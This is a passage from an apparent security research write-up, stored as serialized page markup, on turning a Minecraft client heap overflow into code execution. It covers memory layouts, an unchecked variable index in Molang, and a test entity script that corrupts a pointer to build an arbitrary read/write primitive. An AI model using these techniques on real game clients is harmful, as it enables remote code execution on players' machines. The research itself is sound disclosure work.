std::vector",{"type":23,"tag":134,"props":152235,"children":152236},{"style":168},[152237],{"type":28,"value":5262},{"type":23,"tag":134,"props":152239,"children":152240},{"style":151},[152241],{"type":28,"value":8864},{"type":23,"tag":134,"props":152243,"children":152244},{"style":179},[152245],{"type":28,"value":152246}," MolangScriptArg",{"type":23,"tag":134,"props":152248,"children":152249},{"style":168},[152250],{"type":28,"value":9927},{"type":23,"tag":134,"props":152252,"children":152253},{"style":179},[152254],{"type":28,"value":152255}," struct_fields;\n",{"type":23,"tag":134,"props":152257,"children":152258},{"class":136,"line":780},[152259],{"type":23,"tag":134,"props":152260,"children":152261},{"style":179},[152262],{"type":28,"value":152263},"        \n",{"type":23,"tag":134,"props":152265,"children":152266},{"class":136,"line":797},[152267],{"type":23,"tag":134,"props":152268,"children":152269},{"style":179},[152270],{"type":28,"value":123551},{"type":23,"tag":134,"props":152272,"children":152273},{"class":136,"line":814},[152274],{"type":23,"tag":134,"props":152275,"children":152276},{"style":179},[152277],{"type":28,"value":38495},{"type":23,"tag":134,"props":152279,"children":152280},{"class":136,"line":827},[152281],{"type":23,"tag":134,"props":152282,"children":152283},{"style":179},[152284],{"type":28,"value":16048},{"type":23,"tag":24,"props":152286,"children":152287},{},[152288,152290,152295],{"type":28,"value":152289},"In memory a ",{"type":23,"tag":92,"props":152291,"children":152293},{"className":152292},[],[152294],{"type":28,"value":152113},{"type":28,"value":152296}," instance resembles:",{"type":23,"tag":87,"props":152298,"children":152300},{"code":152299},"      +---------------+---------------+\n+0x00 |  FNV-1 hash   |std::string.buf|\n      +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n      +---------------+---------------+\n+0x20 |std::string.cap|   Unknown     |\n      +-------+-------+---------------+\n+0x30 | Type  |Unused |Variable value |\n      +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n      +---------------+---------------+\n+0x50 |std::vector.cap|   Unknown     |\n      +---------------+---------------+\n      |     . . .     |     . . .     |\n",[152301],{"type":23,"tag":92,"props":152302,"children":152303},{"__ignoreMap":7},[152304],{"type":28,"value":152299},{"type":23,"tag":24,"props":152306,"children":152307},{},[152308],{"type":28,"value":152309},"For reference, example debugger view of the layout:",{"type":23,"tag":24,"props":152311,"children":152312},{},[152313],{"type":23,"tag":1116,"props":152314,"children":152316},{"alt":50084,"src":152315},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":23,"tag":24,"props":152318,"children":152319},{},[152320],{"type":28,"value":152321},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":23,"tag":24,"props":152323,"children":152324},{},[152325,152327,152333,152335,152340,152342,152348,152350,152355,152356,152361,152363,152368,152369,152375,152376,152382],{"type":28,"value":152326},"We only care about the ",{"type":23,"tag":92,"props":152328,"children":152330},{"className":152329},[],[152331],{"type":28,"value":152332},"MolangScriptArg",{"type":28,"value":152334}," beginning at offset ",{"type":23,"tag":92,"props":152336,"children":152338},{"className":152337},[],[152339],{"type":28,"value":128430},{"type":28,"value":152341}," because it contains variable values. In the screenshot above, the ",{"type":23,"tag":92,"props":152343,"children":152345},{"className":152344},[],[152346],{"type":28,"value":152347},"value_type",{"type":28,"value":152349}," at ",{"type":23,"tag":92,"props":152351,"children":152353},{"className":152352},[],[152354],{"type":28,"value":128430},{"type":28,"value":4956},{"type":23,"tag":92,"props":152357,"children":152359},{"className":152358},[],[152360],{"type":28,"value":1224},{"type":28,"value":152362}," (meaning float), and the ",{"type":23,"tag":92,"props":152364,"children":152366},{"className":152365},[],[152367],{"type":28,"value":38650},{"type":28,"value":152349},{"type":23,"tag":92,"props":152370,"children":152372},{"className":152371},[],[152373],{"type":28,"value":152374},"0x38",{"type":28,"value":4956},{"type":23,"tag":92,"props":152377,"children":152379},{"className":152378},[],[152380],{"type":28,"value":152381},"0xbf2070c8",{"type":28,"value":720},{"type":23,"tag":24,"props":152384,"children":152385},{},[152386,152388,152394,152396,152401,152403,152408,152409,152414,152416,152421,152423,152428],{"type":28,"value":152387},"During assignment, such as ",{"type":23,"tag":92,"props":152389,"children":152391},{"className":152390},[],[152392],{"type":28,"value":152393},"variable.a = variable.b",{"type":28,"value":152395},", each field of ",{"type":23,"tag":92,"props":152397,"children":152399},{"className":152398},[],[152400],{"type":28,"value":152332},{"type":28,"value":152402}," is copied from variable ",{"type":23,"tag":92,"props":152404,"children":152406},{"className":152405},[],[152407],{"type":28,"value":393},{"type":28,"value":56283},{"type":23,"tag":92,"props":152410,"children":152412},{"className":152411},[],[152413],{"type":28,"value":31},{"type":28,"value":152415},". Interestingly, the ",{"type":23,"tag":92,"props":152417,"children":152419},{"className":152418},[],[152420],{"type":28,"value":38650},{"type":28,"value":152422}," field is always copied as a ",{"type":23,"tag":92,"props":152424,"children":152426},{"className":152425},[],[152427],{"type":28,"value":55141},{"type":28,"value":152429}," even if the type is a 32-bit float.",{"type":23,"tag":24,"props":152431,"children":152432},{},[152433,152435,152441],{"type":28,"value":152434},"Each entity stores its variables in a per-entity vector called ",{"type":23,"tag":92,"props":152436,"children":152438},{"className":152437},[],[152439],{"type":28,"value":152440},"MolangVariableMap",{"type":28,"value":720},{"type":23,"tag":18368,"props":152443,"children":152445},{"id":152444},"molangvariablemap",[152446],{"type":28,"value":152440},{"type":23,"tag":24,"props":152448,"children":152449},{},[152450,152455,152457,152463,152465,152471],{"type":23,"tag":92,"props":152451,"children":152453},{"className":152452},[],[152454],{"type":28,"value":152440},{"type":28,"value":152456}," is simply a ",{"type":23,"tag":92,"props":152458,"children":152460},{"className":152459},[],[152461],{"type":28,"value":152462},"std::vector\u003CMolangVariable *>",{"type":28,"value":152464}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":23,"tag":92,"props":152466,"children":152468},{"className":152467},[],[152469],{"type":28,"value":152470},"std::vector",{"type":28,"value":152472}," layout:",{"type":23,"tag":87,"props":152474,"children":152476},{"code":152475,"language":315,"meta":7,"className":15985,"style":7},"struct vector {\n    void *buf;\n    void *len;\n    void *cap;\n};\n",[152477],{"type":23,"tag":92,"props":152478,"children":152479},{"__ignoreMap":7},[152480,152492,152508,152524,152540],{"type":23,"tag":134,"props":152481,"children":152482},{"class":136,"line":137},[152483,152487],{"type":23,"tag":134,"props":152484,"children":152485},{"style":151},[152486],{"type":28,"value":8864},{"type":23,"tag":134,"props":152488,"children":152489},{"style":179},[152490],{"type":28,"value":152491}," vector {\n",{"type":23,"tag":134,"props":152493,"children":152494},{"class":136,"line":147},[152495,152499,152503],{"type":23,"tag":134,"props":152496,"children":152497},{"style":151},[152498],{"type":28,"value":16018},{"type":23,"tag":134,"props":152500,"children":152501},{"style":168},[152502],{"type":28,"value":9281},{"type":23,"tag":134,"props":152504,"children":152505},{"style":179},[152506],{"type":28,"value":152507},"buf;\n",{"type":23,"tag":134,"props":152509,"children":152510},{"class":136,"line":185},[152511,152515,152519],{"type":23,"tag":134,"props":152512,"children":152513},{"style":151},[152514],{"type":28,"value":16018},{"type":23,"tag":134,"props":152516,"children":152517},{"style":168},[152518],{"type":28,"value":9281},{"type":23,"tag":134,"props":152520,"children":152521},{"style":179},[152522],{"type":28,"value":152523},"len;\n",{"type":23,"tag":134,"props":152525,"children":152526},{"class":136,"line":221},[152527,152531,152535],{"type":23,"tag":134,"props":152528,"children":152529},{"style":151},[152530],{"type":28,"value":16018},{"type":23,"tag":134,"props":152532,"children":152533},{"style":168},[152534],{"type":28,"value":9281},{"type":23,"tag":134,"props":152536,"children":152537},{"style":179},[152538],{"type":28,"value":152539},"cap;\n",{"type":23,"tag":134,"props":152541,"children":152542},{"class":136,"line":332},[152543],{"type":23,"tag":134,"props":152544,"children":152545},{"style":179},[152546],{"type":28,"value":16048},{"type":23,"tag":24,"props":152548,"children":152549},{},[152550,152555,152557,152562,152564,152570,152572,152577,152578,152583],{"type":23,"tag":92,"props":152551,"children":152553},{"className":152552},[],[152554],{"type":28,"value":149636},{"type":28,"value":152556}," points to the allocated array of elements, ",{"type":23,"tag":92,"props":152558,"children":152560},{"className":152559},[],[152561],{"type":28,"value":8601},{"type":28,"value":152563}," points just past the last used element, and ",{"type":23,"tag":92,"props":152565,"children":152567},{"className":152566},[],[152568],{"type":28,"value":152569},"cap",{"type":28,"value":152571}," points to the end of the allocated buffer. Notably, the types of ",{"type":23,"tag":92,"props":152573,"children":152575},{"className":152574},[],[152576],{"type":28,"value":8601},{"type":28,"value":10458},{"type":23,"tag":92,"props":152579,"children":152581},{"className":152580},[],[152582],{"type":28,"value":152569},{"type":28,"value":152584}," aren't typical integer types for sizes, but both are pointers.",{"type":23,"tag":24,"props":152586,"children":152587},{},[152588],{"type":28,"value":152589},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":23,"tag":87,"props":152591,"children":152593},{"code":152592},"+---------+         +--------------------+\n|   buf   +-------> | MolangVariable A*  |\n+---------+         +--------------------+\n|   len   +----+    | MolangVariable B*  |\n+---------+    |    +--------------------+\n|   cap   |    |    | MolangVariable C*  |\n+----+----+    |    +--------------------+\n     |         +--> | Empty element slot |\n     |              +--------------------+\n     |                                   ^\n     +-----------------------------------+\n",[152594],{"type":23,"tag":92,"props":152595,"children":152596},{"__ignoreMap":7},[152597],{"type":28,"value":152592},{"type":23,"tag":24,"props":152599,"children":152600},{},[152601,152603,152609,152611,152617],{"type":28,"value":152602},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":23,"tag":92,"props":152604,"children":152606},{"className":152605},[],[152607],{"type":28,"value":152608},"variable.result",{"type":28,"value":152610},") may differ between entities. To get around this, ",{"type":23,"tag":92,"props":152612,"children":152614},{"className":152613},[],[152615],{"type":28,"value":152616},"MolangIndexMap",{"type":28,"value":152618}," is used to map a global variable name to the correct per-entity slot.",{"type":23,"tag":18368,"props":152620,"children":152622},{"id":152621},"molangindexmap",[152623],{"type":28,"value":152616},{"type":23,"tag":24,"props":152625,"children":152626},{},[152627,152632,152634,152640,152642,152648],{"type":23,"tag":92,"props":152628,"children":152630},{"className":152629},[],[152631],{"type":28,"value":152616},{"type":28,"value":152633}," is a per-entity ",{"type":23,"tag":92,"props":152635,"children":152637},{"className":152636},[],[152638],{"type":28,"value":152639},"std::vector\u003Cuint16_t>",{"type":28,"value":152641},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":23,"tag":92,"props":152643,"children":152645},{"className":152644},[],[152646],{"type":28,"value":152647},"variable.result = 0",{"type":28,"value":152649}," it:",{"type":23,"tag":4890,"props":152651,"children":152652},{},[152653,152663,152673],{"type":23,"tag":4894,"props":152654,"children":152655},{},[152656,152658],{"type":28,"value":152657},"Checks the global hashmap for ",{"type":23,"tag":92,"props":152659,"children":152661},{"className":152660},[],[152662],{"type":28,"value":8544},{"type":23,"tag":4894,"props":152664,"children":152665},{},[152666,152668],{"type":28,"value":152667},"If found, uses the global index to look up the per-entity index in ",{"type":23,"tag":92,"props":152669,"children":152671},{"className":152670},[],[152672],{"type":28,"value":152616},{"type":23,"tag":4894,"props":152674,"children":152675},{},[152676,152678],{"type":28,"value":152677},"If not found, creates a new global entry and assigns it ",{"type":23,"tag":92,"props":152679,"children":152681},{"className":152680},[],[152682],{"type":28,"value":152683},"last_index + 1",{"type":23,"tag":24,"props":152685,"children":152686},{},[152687,152689,152694,152696,152701,152703,152708,152710,152715,152717,152722,152723,152729,152731,152736],{"type":28,"value":152688},"This means the same global index for variable ",{"type":23,"tag":92,"props":152690,"children":152692},{"className":152691},[],[152693],{"type":28,"value":8544},{"type":28,"value":152695}," maps to the same position inside every entity’s ",{"type":23,"tag":92,"props":152697,"children":152699},{"className":152698},[],[152700],{"type":28,"value":152616},{"type":28,"value":152702},", but the actual ",{"type":23,"tag":92,"props":152704,"children":152706},{"className":152705},[],[152707],{"type":28,"value":152113},{"type":28,"value":152709}," for ",{"type":23,"tag":92,"props":152711,"children":152713},{"className":152712},[],[152714],{"type":28,"value":8544},{"type":28,"value":152716}," may live at different slots inside each entity's ",{"type":23,"tag":92,"props":152718,"children":152720},{"className":152719},[],[152721],{"type":28,"value":152440},{"type":28,"value":18006},{"type":23,"tag":92,"props":152724,"children":152726},{"className":152725},[],[152727],{"type":28,"value":152728},"Entity.MolangIndexMap[global_index]",{"type":28,"value":152730}," stores the per-entity index (slot) of variable ",{"type":23,"tag":92,"props":152732,"children":152734},{"className":152733},[],[152735],{"type":28,"value":8544},{"type":28,"value":720},{"type":23,"tag":24,"props":152738,"children":152739},{},[152740,152742,152747,152749,152754,152756,152761,152763,152768,152770,152776,152778,152783],{"type":28,"value":152741},"Importantly, we found that indices in the ",{"type":23,"tag":92,"props":152743,"children":152745},{"className":152744},[],[152746],{"type":28,"value":152616},{"type":28,"value":152748}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":23,"tag":92,"props":152750,"children":152752},{"className":152751},[],[152753],{"type":28,"value":152440},{"type":28,"value":152755},". This means that if we overwrite the index of variable ",{"type":23,"tag":92,"props":152757,"children":152759},{"className":152758},[],[152760],{"type":28,"value":8544},{"type":28,"value":152762}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":23,"tag":92,"props":152764,"children":152766},{"className":152765},[],[152767],{"type":28,"value":152440},{"type":28,"value":152769},", we could read from and write to ",{"type":23,"tag":92,"props":152771,"children":152773},{"className":152772},[],[152774],{"type":28,"value":152775},"address + 0x38",{"type":28,"value":152777}," through ",{"type":23,"tag":92,"props":152779,"children":152781},{"className":152780},[],[152782],{"type":28,"value":152608},{"type":28,"value":720},{"type":23,"tag":9072,"props":152785,"children":152787},{"id":152786},"building-a-molang-arbitrary-rw-primitive",[152788],{"type":28,"value":152789},"Building a Molang Arbitrary R/W Primitive",{"type":23,"tag":24,"props":152791,"children":152792},{},[152793,152795,152800,152802,152807],{"type":28,"value":152794},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":23,"tag":92,"props":152796,"children":152798},{"className":152797},[],[152799],{"type":28,"value":152470},{"type":28,"value":152801}," - specifically, of ",{"type":23,"tag":92,"props":152803,"children":152805},{"className":152804},[],[152806],{"type":28,"value":152440},{"type":28,"value":152808}," vector.",{"type":23,"tag":24,"props":152810,"children":152811},{},[152812,152814,152819,152821,152826,152827,152832,152834,152839],{"type":28,"value":152813},"Because every entity object is heap-allocated and contains a ",{"type":23,"tag":92,"props":152815,"children":152817},{"className":152816},[],[152818],{"type":28,"value":152440},{"type":28,"value":152820}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":23,"tag":92,"props":152822,"children":152824},{"className":152823},[],[152825],{"type":28,"value":149636},{"type":28,"value":55298},{"type":23,"tag":92,"props":152828,"children":152830},{"className":152829},[],[152831],{"type":28,"value":152440},{"type":28,"value":152833}," vector belonging to an entity object placed just next the ",{"type":23,"tag":92,"props":152835,"children":152837},{"className":152836},[],[152838],{"type":28,"value":152440},{"type":28,"value":152840}," allocated buffer.",{"type":23,"tag":87,"props":152842,"children":152844},{"code":152843},"      +-------------+ \u003C--+                   \n+---> | variable.a  |    |                   \n|     +-------------+    |                   \n|     | variable.b  |    |                   \n|     +-------------+    +- MolangVariableMap allocated buffer\n|     |    . . .    |    |                   \n|     +-------------+    |                   \n|     | variable.f  |    |                   \n|     +-------------+ \u003C--+--+                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     +------+------+       +- Entity Object \n+-----+ buf  | len  |       |                \n      +------+------+       |                \n      | cap  |      |       |                \n      +------+      |       |                \n      +-------------+ \u003C-----+                                       \n",[152845],{"type":23,"tag":92,"props":152846,"children":152847},{"__ignoreMap":7},[152848],{"type":28,"value":152843},{"type":23,"tag":24,"props":152850,"children":152851},{},[152852,152854,152859,152861,152867,152869,152874,152875,152881,152882,152887,152889,152894,152896,152901,152903,152908,152910,152915,152917,152922,152924,152929,152931,152937,152939,152944,152946,152951],{"type":28,"value":152853},"In the scenario above, the ",{"type":23,"tag":92,"props":152855,"children":152857},{"className":152856},[],[152858],{"type":28,"value":152616},{"type":28,"value":152860}," would map ",{"type":23,"tag":92,"props":152862,"children":152864},{"className":152863},[],[152865],{"type":28,"value":152866},"variable.a",{"type":28,"value":152868}," -> index ",{"type":23,"tag":92,"props":152870,"children":152872},{"className":152871},[],[152873],{"type":28,"value":1224},{"type":28,"value":242},{"type":23,"tag":92,"props":152876,"children":152878},{"className":152877},[],[152879],{"type":28,"value":152880},"variable.b",{"type":28,"value":152868},{"type":23,"tag":92,"props":152883,"children":152885},{"className":152884},[],[152886],{"type":28,"value":1214},{"type":28,"value":152888},", and so on. If we overwrite the index for ",{"type":23,"tag":92,"props":152890,"children":152892},{"className":152891},[],[152893],{"type":28,"value":152866},{"type":28,"value":152895}," with a value that is out-of-bounds for the ",{"type":23,"tag":92,"props":152897,"children":152899},{"className":152898},[],[152900],{"type":28,"value":152440},{"type":28,"value":152902},", it can instead index the ",{"type":23,"tag":92,"props":152904,"children":152906},{"className":152905},[],[152907],{"type":28,"value":149636},{"type":28,"value":152909}," field of the entity object above. Reading ",{"type":23,"tag":92,"props":152911,"children":152913},{"className":152912},[],[152914],{"type":28,"value":152866},{"type":28,"value":152916}," will then return the pointer stored at offset ",{"type":23,"tag":92,"props":152918,"children":152920},{"className":152919},[],[152921],{"type":28,"value":152374},{"type":28,"value":152923}," from the start of the ",{"type":23,"tag":92,"props":152925,"children":152927},{"className":152926},[],[152928],{"type":28,"value":152440},{"type":28,"value":152930}," (which in this diagram corresponds to ",{"type":23,"tag":92,"props":152932,"children":152934},{"className":152933},[],[152935],{"type":28,"value":152936},"variable.f",{"type":28,"value":152938},"), and writing to ",{"type":23,"tag":92,"props":152940,"children":152942},{"className":152941},[],[152943],{"type":28,"value":152866},{"type":28,"value":152945}," will overwrite that pointer - corrupting ",{"type":23,"tag":92,"props":152947,"children":152949},{"className":152948},[],[152950],{"type":28,"value":152936},{"type":28,"value":720},{"type":23,"tag":24,"props":152953,"children":152954},{},[152955,152957,152962,152963,152969,152971,152976,152978,152984,152986,152991,152993,152998,153000,153006,153008,153014,153016,153021],{"type":28,"value":152956},"To leak the address of the Minecraft executable we could increment ",{"type":23,"tag":92,"props":152958,"children":152960},{"className":152959},[],[152961],{"type":28,"value":152866},{"type":28,"value":232},{"type":23,"tag":92,"props":152964,"children":152966},{"className":152965},[],[152967],{"type":28,"value":152968},"variable.a += 8",{"type":28,"value":152970},"), which advances the pointer used for ",{"type":23,"tag":92,"props":152972,"children":152974},{"className":152973},[],[152975],{"type":28,"value":152936},{"type":28,"value":152977}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":23,"tag":92,"props":152979,"children":152981},{"className":152980},[],[152982],{"type":28,"value":152983},"variable.a = variable.exe_leak + \u003Coffset>",{"type":28,"value":152985}," - this updates the ",{"type":23,"tag":92,"props":152987,"children":152989},{"className":152988},[],[152990],{"type":28,"value":152936},{"type":28,"value":152992}," pointer to our chosen address, and writing to ",{"type":23,"tag":92,"props":152994,"children":152996},{"className":152995},[],[152997],{"type":28,"value":152936},{"type":28,"value":152999},", for example ",{"type":23,"tag":92,"props":153001,"children":153003},{"className":153002},[],[153004],{"type":28,"value":153005},"variable.f = 1337",{"type":28,"value":153007},", writes the value ",{"type":23,"tag":92,"props":153009,"children":153011},{"className":153010},[],[153012],{"type":28,"value":153013},"1337",{"type":28,"value":153015}," to offset ",{"type":23,"tag":92,"props":153017,"children":153019},{"className":153018},[],[153020],{"type":28,"value":152374},{"type":28,"value":153022}," from that calculated address.",{"type":23,"tag":18368,"props":153024,"children":153026},{"id":153025},"testing-the-idea",[153027],{"type":28,"value":153028},"Testing the Idea",{"type":23,"tag":24,"props":153030,"children":153031},{},[153032,153034,153039,153041,153046,153048,153053],{"type":28,"value":153033},"We tested the idea by manually adding a pointer to the start of ",{"type":23,"tag":92,"props":153035,"children":153037},{"className":153036},[],[153038],{"type":28,"value":152440},{"type":28,"value":153040}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":23,"tag":55,"props":153042,"children":153043},{},[153044],{"type":28,"value":153045},"almost",{"type":28,"value":153047}," worked - below is the state of the ",{"type":23,"tag":92,"props":153049,"children":153051},{"className":153050},[],[153052],{"type":28,"value":152440},{"type":28,"value":153054},"'s allocated buffer before the Molang script executes:",{"type":23,"tag":24,"props":153056,"children":153057},{},[153058],{"type":23,"tag":1116,"props":153059,"children":153061},{"alt":50084,"src":153060},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":23,"tag":24,"props":153063,"children":153064},{},[153065],{"type":28,"value":153066},"And this is after execution:",{"type":23,"tag":24,"props":153068,"children":153069},{},[153070],{"type":23,"tag":1116,"props":153071,"children":153073},{"alt":50084,"src":153072},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":23,"tag":24,"props":153075,"children":153076},{},[153077],{"type":28,"value":153078},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":23,"tag":87,"props":153080,"children":153082},{"code":153081,"language":33494,"meta":7,"className":33492,"style":7},"{\n  \"format_version\": \"1.10.0\",\n  \"minecraft:client_entity\": {\n    \"description\": {\n      \"identifier\": \"minecraft:leash_knot\",\n\n      [...]\n        \n      \"scripts\": {\n        \"initialize\": [\n          \"variable.a = 0;\",\n          \"variable.b = 0;\",\n          \"variable.c = 0;\",\n          [...]\n        ],\n        \"pre_animation\": [\n          \"variable.a = 2.310732e-27;\"\n        ]\n      },\n    }\n  }\n}\n",[153083],{"type":23,"tag":92,"props":153084,"children":153085},{"__ignoreMap":7},[153086,153093,153114,153126,153138,153159,153166,153173,153180,153192,153205,153217,153229,153241,153257,153264,153276,153284,153292,153299,153306,153313],{"type":23,"tag":134,"props":153087,"children":153088},{"class":136,"line":137},[153089],{"type":23,"tag":134,"props":153090,"children":153091},{"style":179},[153092],{"type":28,"value":10346},{"type":23,"tag":134,"props":153094,"children":153095},{"class":136,"line":147},[153096,153101,153105,153110],{"type":23,"tag":134,"props":153097,"children":153098},{"style":162},[153099],{"type":28,"value":153100},"  \"format_version\"",{"type":23,"tag":134,"props":153102,"children":153103},{"style":179},[153104],{"type":28,"value":14800},{"type":23,"tag":134,"props":153106,"children":153107},{"style":1461},[153108],{"type":28,"value":153109},"\"1.10.0\"",{"type":23,"tag":134,"props":153111,"children":153112},{"style":179},[153113],{"type":28,"value":687},{"type":23,"tag":134,"props":153115,"children":153116},{"class":136,"line":185},[153117,153122],{"type":23,"tag":134,"props":153118,"children":153119},{"style":162},[153120],{"type":28,"value":153121},"  \"minecraft:client_entity\"",{"type":23,"tag":134,"props":153123,"children":153124},{"style":179},[153125],{"type":28,"value":36520},{"type":23,"tag":134,"props":153127,"children":153128},{"class":136,"line":221},[153129,153134],{"type":23,"tag":134,"props":153130,"children":153131},{"style":162},[153132],{"type":28,"value":153133},"    \"description\"",{"type":23,"tag":134,"props":153135,"children":153136},{"style":179},[153137],{"type":28,"value":36520},{"type":23,"tag":134,"props":153139,"children":153140},{"class":136,"line":332},[153141,153146,153150,153155],{"type":23,"tag":134,"props":153142,"children":153143},{"style":162},[153144],{"type":28,"value":153145},"      \"identifier\"",{"type":23,"tag":134,"props":153147,"children":153148},{"style":179},[153149],{"type":28,"value":14800},{"type":23,"tag":134,"props":153151,"children":153152},{"style":1461},[153153],{"type":28,"value":153154},"\"minecraft:leash_knot\"",{"type":23,"tag":134,"props":153156,"children":153157},{"style":179},[153158],{"type":28,"value":687},{"type":23,"tag":134,"props":153160,"children":153161},{"class":136,"line":438},[153162],{"type":23,"tag":134,"props":153163,"children":153164},{"emptyLinePlaceholder":15},[153165],{"type":28,"value":865},{"type":23,"tag":134,"props":153167,"children":153168},{"class":136,"line":466},[153169],{"type":23,"tag":134,"props":153170,"children":153171},{"style":21885},[153172],{"type":28,"value":126953},{"type":23,"tag":134,"props":153174,"children":153175},{"class":136,"line":479},[153176],{"type":23,"tag":134,"props":153177,"children":153178},{"style":179},[153179],{"type":28,"value":152263},{"type":23,"tag":134,"props":153181,"children":153182},{"class":136,"line":497},[153183,153188],{"type":23,"tag":134,"props":153184,"children":153185},{"style":162},[153186],{"type":28,"value":153187},"      \"scripts\"",{"type":23,"tag":134,"props":153189,"children":153190},{"style":179},[153191],{"type":28,"value":36520},{"type":23,"tag":134,"props":153193,"children":153194},{"class":136,"line":518},[153195,153200],{"type":23,"tag":134,"props":153196,"children":153197},{"style":162},[153198],{"type":28,"value":153199},"        \"initialize\"",{"type":23,"tag":134,"props":153201,"children":153202},{"style":179},[153203],{"type":28,"value":153204},": [\n",{"type":23,"tag":134,"props":153206,"children":153207},{"class":136,"line":527},[153208,153213],{"type":23,"tag":134,"props":153209,"children":153210},{"style":1461},[153211],{"type":28,"value":153212},"          \"variable.a = 0;\"",{"type":23,"tag":134,"props":153214,"children":153215},{"style":179},[153216],{"type":28,"value":687},{"type":23,"tag":134,"props":153218,"children":153219},{"class":136,"line":780},[153220,153225],{"type":23,"tag":134,"props":153221,"children":153222},{"style":1461},[153223],{"type":28,"value":153224},"          \"variable.b = 0;\"",{"type":23,"tag":134,"props":153226,"children":153227},{"style":179},[153228],{"type":28,"value":687},{"type":23,"tag":134,"props":153230,"children":153231},{"class":136,"line":797},[153232,153237],{"type":23,"tag":134,"props":153233,"children":153234},{"style":1461},[153235],{"type":28,"value":153236},"          \"variable.c = 0;\"",{"type":23,"tag":134,"props":153238,"children":153239},{"style":179},[153240],{"type":28,"value":687},{"type":23,"tag":134,"props":153242,"children":153243},{"class":136,"line":814},[153244,153249,153253],{"type":23,"tag":134,"props":153245,"children":153246},{"style":179},[153247],{"type":28,"value":153248},"          [",{"type":23,"tag":134,"props":153250,"children":153251},{"style":21885},[153252],{"type":28,"value":9054},{"type":23,"tag":134,"props":153254,"children":153255},{"style":179},[153256],{"type":28,"value":11239},{"type":23,"tag":134,"props":153258,"children":153259},{"class":136,"line":827},[153260],{"type":23,"tag":134,"props":153261,"children":153262},{"style":179},[153263],{"type":28,"value":43150},{"type":23,"tag":134,"props":153265,"children":153266},{"class":136,"line":836},[153267,153272],{"type":23,"tag":134,"props":153268,"children":153269},{"style":162},[153270],{"type":28,"value":153271},"        \"pre_animation\"",{"type":23,"tag":134,"props":153273,"children":153274},{"style":179},[153275],{"type":28,"value":153204},{"type":23,"tag":134,"props":153277,"children":153278},{"class":136,"line":859},[153279],{"type":23,"tag":134,"props":153280,"children":153281},{"style":1461},[153282],{"type":28,"value":153283},"          \"variable.a = 2.310732e-27;\"\n",{"type":23,"tag":134,"props":153285,"children":153286},{"class":136,"line":868},[153287],{"type":23,"tag":134,"props":153288,"children":153289},{"style":179},[153290],{"type":28,"value":153291},"        ]\n",{"type":23,"tag":134,"props":153293,"children":153294},{"class":136,"line":877},[153295],{"type":23,"tag":134,"props":153296,"children":153297},{"style":179},[153298],{"type":28,"value":36697},{"type":23,"tag":134,"props":153300,"children":153301},{"class":136,"line":946},[153302],{"type":23,"tag":134,"props":153303,"children":153304},{"style":179},[153305],{"type":28,"value":533},{"type":23,"tag":134,"props":153307,"children":153308},{"class":136,"line":954},[153309],{"type":23,"tag":134,"props":153310,"children":153311},{"style":179},[153312],{"type":28,"value":5328},{"type":23,"tag":134,"props":153314,"children":153315},{"class":136,"line":984},[153316],{"type":23,"tag":134,"props":153317,"children":153318},{"style":179},[153319],{"type":28,"value":1098},{"type":23,"tag":24,"props":153321,"children":153322},{},[153323,153325,153330,153332,153337,153339,153344],{"type":28,"value":153324},"As shown, the pointer of a variable at offset ",{"type":23,"tag":92,"props":153326,"children":153328},{"className":153327},[],[153329],{"type":28,"value":152374},{"type":28,"value":153331}," was modified and the core concept works. During ",{"type":23,"tag":92,"props":153333,"children":153335},{"className":153334},[],[153336],{"type":28,"value":152332},{"type":28,"value":153338}," copy, pointers of some other variables above offset ",{"type":23,"tag":92,"props":153340,"children":153342},{"className":153341},[],[153343],{"type":28,"value":152374},{"type":28,"value":153345}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":23,"tag":24,"props":153347,"children":153348},{},[153349],{"type":28,"value":153350},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":23,"tag":16158,"props":153352,"children":153353},{},[153354,153367],{"type":23,"tag":4894,"props":153355,"children":153356},{},[153357,153359,153365],{"type":28,"value":153358},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":23,"tag":92,"props":153360,"children":153362},{"className":153361},[],[153363],{"type":28,"value":153364},"FLT_MAX",{"type":28,"value":153366},", the value becomes an invalid float causing the increment operation to fail.",{"type":23,"tag":4894,"props":153368,"children":153369},{},[153370,153372,153377,153379,153384,153385,153390,153392,153397],{"type":28,"value":153371},"As noted before, during assignment, ",{"type":23,"tag":92,"props":153373,"children":153375},{"className":153374},[],[153376],{"type":28,"value":152332},{"type":28,"value":153378}," fields are copied, and the ",{"type":23,"tag":92,"props":153380,"children":153382},{"className":153381},[],[153383],{"type":28,"value":38650},{"type":28,"value":152422},{"type":23,"tag":92,"props":153386,"children":153388},{"className":153387},[],[153389],{"type":28,"value":55141},{"type":28,"value":153391},". Since our source ",{"type":23,"tag":92,"props":153393,"children":153395},{"className":153394},[],[153396],{"type":28,"value":152332},{"type":28,"value":153398}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":23,"tag":24,"props":153400,"children":153401},{},[153402],{"type":28,"value":153403},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":23,"tag":18368,"props":153405,"children":153407},{"id":153406},"expanding-the-idea",[153408],{"type":28,"value":153409},"Expanding 